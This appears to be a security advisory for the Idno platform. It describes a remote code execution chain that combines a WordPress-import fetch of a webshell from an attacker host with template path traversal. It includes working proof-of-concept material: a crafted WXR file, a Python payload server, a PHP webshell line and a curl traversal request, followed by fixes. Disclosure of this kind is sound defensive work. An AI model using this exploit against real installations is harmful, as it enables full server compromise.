Details
- Attacker constructs a WordPress WXR XML with an
<img>tag whosesrcpoints to this URL.
- Admin submits the XML to
POST /admin/import/withimport_type=WordPress. The application responds immediately and runs the import in the background after 10 seconds.
- `importImagesFromBodyHTML` is called. The URL passes the
substr_count($src, 'wordpress.com')check.fopen($src, 'r')connects to the attacker's server, which sends the PHP payload and holds the connection open.
- `file_put_contents` writes the PHP payload to disk at
/tmp/{md5(url)}{basename(url)}(e.g./tmp/594ac6416712b71b978fa4659c4298c3shell.tpl.php) and blocks waiting for the stream to close.
- While the connection is held open, any authenticated user sends:
GET /search/users/?query=a&limit=1&template=../../../../../../tmp/594ac6416712b71b978fa4659c4298c3shell&cmd=id
- `draw()` resolves the path to
/tmp/594ac6416712b71b978fa4659c4298c3shell.tpl.php, finds the file exists, andincludes it.
- The included PHP file executes, reads
$_GET['cmd']from the superglobal, and passes it tosystem(). Output is captured byob_get_clean()and returned in therenderedfield of the JSON response.
- Attacker closes the connection.
file_put_contentsreturns,createFromFileruns,@unlinkremoves the temp file. No persistent artifact remains.
---
Proof of Concept
- Create a WXR file with the following content
<rss version="2.0"
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:wp="http://wordpress.org/export/1.2/">
<channel>
<item>
<title>Test Post</title>
<wp:post_type>post</wp:post_type>
<wp:status>publish</wp:status>
<content:encoded><![CDATA[<img
src="http://attacker-server-address/wordpress.com/shell.tpl.php">]]></content:encoded>
</item>
</channel>
</rss>
- Run a server at
attacker-server-addressand host the file in pathwordpress.com/shell.tpl.phpsuch that fetchinghttp://attacker-server-address/wordpress.com/shell.tpl.phpsends the command execution payload.
import http.server
import time
PAYLOAD = b'<?php system($_GET["cmd"]); ?>'
class Handler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "application/octet-stream")
self.end_headers()
self.wfile.write(PAYLOAD)
self.wfile.flush()
print(f"[*] Payload sent. Holding connection open...")
time.sleep(45) # hold connection open for 45s
print(f"[*] Connection released")
def log_message(self, fmt, *args):
print(fmt % args)
http.server.HTTPServer(("0.0.0.0", 9876), Handler).serve_forever()
- Import WXR from
http://idno-address/admin/import/using the wordpress option.
- Wait till the server receives a connection. In my server example, the connection remains open for 45 seconds which is enough time to exploit the issue.
- Compute the md5 hash of payload URL
http://attacker-server-address/wordpress.com/shell.tpl.php. In my example this is594ac6416712b71b978fa4659c4298c3. This means the webshell file is594ac6416712b71b978fa4659c4298c3shell.tpl.phpwith content
<?php system($_GET[0]); ?>
- Make this request as any authenticated user
curl -k \
-b "idno=<cookie>" \
"http://idno-address/search/users/?query=a&limit=1&template=../../../../../../tmp/594ac6416712b71b978fa4659c4298c3shell&_t=rss&cmd=id"
- Observe that the respone will have the command executed in the
renderedfield
{"count":1,"rendered":"uid=33(www-data) gid=33(www-data) groups=33(www-data),1001(pihole)\n"}
https://github.com/user-attachments/assets/9f36ce0e-8f73-42ba-908d-eb91cc4879b4
---
Impact
- Confidentiality: Full read access to files accessible by the web server user
- Integrity: Arbitrary command execution as the web server user
- Availability: Complete compromise of the host running Idno
An attacker who obtains a web application admin account (via credential theft, weak password, or other means) can escalate to OS-level code execution. The RCE trigger itself requires only a standard authenticated session, meaning the admin account is needed only for the file write stage.
---
Root Causes
| Location | Issue |
|---|---|
| Migration.php:importImagesFromBodyHTML | basename($url) used as filename with no extension restriction |
| Migration.php:importImagesFromBodyHTML | substr_count hostname check trivially bypassed by embedding wordpress.com in URL path |
| Migration.php:importImagesFromBodyHTML | Outbound fopen() to attacker-controlled URL with no SSRF mitigation |
| Pages/Search/User.php | template parameter passed to draw() without sanitization |
| Core/Bonita/Templates.php:draw() | Regex strips only ^_[A-Z0-9/]+ prefix — does not restrict ../ or path separators |
---
Recommended Fixes
- Restrict allowed template name characters in
draw()to an allowlist such as^[a-z0-9/_-]+$, rejecting any name containing..or beginning with/.
- Validate the extension of files written by `importImagesFromBodyHTML` against an allowlist of image extensions (jpg, jpeg, png, gif, webp) before writing to disk.
- Validate the hostname of image URLs in
importImagesFromBodyHTMLagainst the source domain rather than usingsubstr_count, which does not distinguish hostname from path.
- Use `tempnam()` for temp files in the import flow rather than constructing filenames from user-controlled URL components.